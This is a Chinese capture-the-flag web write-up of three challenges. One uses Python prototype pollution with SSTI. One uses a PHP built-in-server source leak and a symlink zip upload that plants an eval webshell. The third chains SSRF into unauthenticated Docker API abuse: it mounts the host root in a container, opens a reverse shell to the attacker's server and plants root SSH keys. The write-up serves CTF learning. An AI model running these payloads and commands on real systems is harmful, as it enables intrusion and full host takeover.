web

ezpython

img

从这边可以看到是python的原型链污染

可以直接污染掉对黑名单

1
{"__globals__": {"param_black_list1": ["123"]}}

然后打ssti即可

img

得到flag

压压压

第一个点是<=7.4.21的php -S开启的服务它有⼀个信息泄露的漏洞

https://www.cnblogs.com/Kawakaze777/p/17799235.html

img

空格是必要的,读出源码,开始审计

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip') //判断MIME是否为application/zip
{
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); //进入tmp文件夹,然后解压缩,这样我们上传的一句话木马就不能执行了。
};
?>

so,我们需要绕过这个点就需要使用软连接,

然链接:可以让两不同个文件夹访问同一个文件

1
2
3
4
5
6
ln -s /var/www/html poc 创建一个软连接的文件
zip --symlinks 1.zip poc 对其进行压缩
mkdir link
cd link
echo "<?php eval($_POST[1]);?>" > shell.php
zip -r poc.zip link 创建一句话木马并且压缩。

img

快逃

img

有一个ssrf漏洞,尝试探一下端口

img

img

可以看到是8080 80 ,2375端口存活

还有22端口也存活

2375端口比较特殊, Dockerapi未授权默认端⼝

方法:

利⽤dockerapi未授权+curl发包去创建一个特权容器,并将靶机的根目录挂载到这个容器中,以此控制靶机的文件系统

1.创建bash镜像

1
curl -X POST "http://127.0.0.1:2375/images/create?fromImage=bash&tag=latest"

注意是post方法

img

2.创建容器,挂载靶机根目录,并且将容器反弹到你的vps上

1
2
3
4
5
6
7
8
9
10
11
12
curl -X POST "http://127.0.0.1:2375/containers/create" \
-H "Content-Type: application/json" \
-d '{
"Image": "bash", //利用刚才创造的镜像
"Cmd": [
"bash", "-c",
"bash -i >& /dev/tcp/ip/2333 0>&1"
], //反弹shell
"HostConfig": {
"Binds": ["/:/tmp/docker"] //将宿主机的根目录 / 挂载到容器的 /tmp/docker 目录。
}
}

风险:容器内可直接修改宿主机文件系统(提权或破坏)这也是我们需要的。

img

3.启动容器

1
curl -X POST "http://127.0.0.1:2375/containers/<容器ID>/start"

img

弹到shell,

img

挂载到根目录获得主机的管理权限

我们可以通过ssh写入公钥登录

新建一个私钥

1
2
ssh-keygen -t rsa -b 4096 -C "hacker@target"
cat ~/.ssh/id_rsa.pub //公钥

然后将输出的公钥写入root下的 .ssh/authorized_keys 中

img

1
ssh -i ~/.ssh/id_rsa  root@139.9.209.209 -p 10079

连接靶机,

img

flag在相关进程中

1
ps aux

img

看看上⾯的tmux的flagseesion

1
tmux capture-pane -t flag_session -p

img

img

解决